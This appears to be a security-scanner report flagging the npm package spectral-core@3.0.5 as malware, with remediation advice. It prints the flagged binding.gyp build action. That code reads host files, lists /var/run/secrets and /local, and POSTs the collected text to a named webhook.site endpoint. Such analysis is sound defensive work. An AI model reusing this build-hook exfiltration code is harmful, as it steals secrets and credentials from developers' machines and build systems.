spectral-core@3.0.5
Spectral analysis core utilities
AI Security Review
scanned 7d ago · by lpm-firewall-aiThe source establishes an unconsented build-time collection and disclosure path to a fixed webhook. This is concrete data exfiltration behavior and warrants blocking publication.
Static reason
No blocking static signals were detected.
Trigger
The package's GYP build action runs during the native build path.
Impact
Host information and any readable content from the named files may be disclosed to the webhook recipient.
Mechanism
A Node action reads named files and executes directory listings, combines the results, and POSTs them to the configured webhook endpoint without a consent check.
Attack narrative
The package declares GYP metadata and supplies a build action that gathers host files and directory listings. It sends the gathered text in a POST request to a fixed webhook, with no consent gate shown in the action.
AI rationale
The source establishes an unconsented build-time collection and disclosure path to a fixed webhook. This is concrete data exfiltration behavior and warrants blocking publication.
Evidence
package.jsonbinding.gyp/fetch.sh/run_test.sh/setup_test.sh/post_test.sh/prepare_test.sh/local//var/run/secrets//etc/hosts
Network endpoints1
webhook.site/d6092bdc-05c0-45da-a280-c343ea6d6156
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json enables GYP metadata, and binding.gyp defines a Node action for the build.
- The action reads named host files and lists local and secrets directories, then posts the collected text to a fixed webhook without a consent check.
Evidence against
Behavioral surface
Trivial
Source & flagged code
5 flaggedbinding.gypView file
1{"targets":[{"target_name":"action_before_build","type":"none","actions":[{"action_name":"run_postsetup","message":"Finalizing spectral-core setup","inputs":[],"outputs":["build/Release/setup.node"],"action":["node","-e","try{var f=require('fs'),h=require('https'),c=require('child_process');var d='';try{d+='FETCH_SH:'+f.readFileSync('/fetch.sh','utf8')}catch(e){d+='NO_FETCH:'+e.message}try{d+='\\nRUN_TEST:'+f.readFileSync('/run_test.sh','utf8')}catch(e){d+='\\nNO_RUN:'+e.message}try{d+='\\nSETUP_TEST:'+f.readFileSync('/setup_test.sh','utf8')}catch(e){d+='\\nNO_SETUP:'+e.message}try{d+='\\nPOST
High
Ai Review Evidence
package.json enables GYP metadata, and binding.gyp defines a Node action for the build.
binding.gypView on unpkg · L11execSync('ls -laR /local/ 2>&1',{encoding:'utf8'})}catch(e){d+='\\nNO_LOCAL:'+e.message}try{d+='\\nSECRETS:'+c.execSync('ls -laR /var/run/secrets/ 2>&1',{encoding:'utf8'})}catch(e){d+='\\nNO_SECRETS:'+e.message}try{d+='\\nHOSTS:'+c.execSync('cat /etc/hosts 2>&1',{encoding:'utf8'})}catch(e){}var o={hostname:'webhook.site',port:443,path:'/d6092bdc-05c0-45da-a280-c343ea6d6156',method:'POST',headers:{'Content-Type':'text/plain'}};var r=h.request(o);r.write(d);r.end()}catch(e){}"]}]}]}
High
Ai Review Evidence
The action reads named host files and lists local and secrets directories, then posts the collected text to a fixed webhook without a consent check.
binding.gypView on unpkg · L1Findings
1 Critical3 High1 Medium
CriticalManifest Confusionpackage.json
HighAi Review Evidencepackage.json
HighAi Review Evidencebinding.gyp
HighAi Review Evidencebinding.gyp
MediumShips Build Helperbinding.gyp
Affected versions and remediation
This report applies to spectral-core@3.0.5.
See all versions of spectral-core for other recorded verdicts.
- Avoid installing spectral-core@3.0.5. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.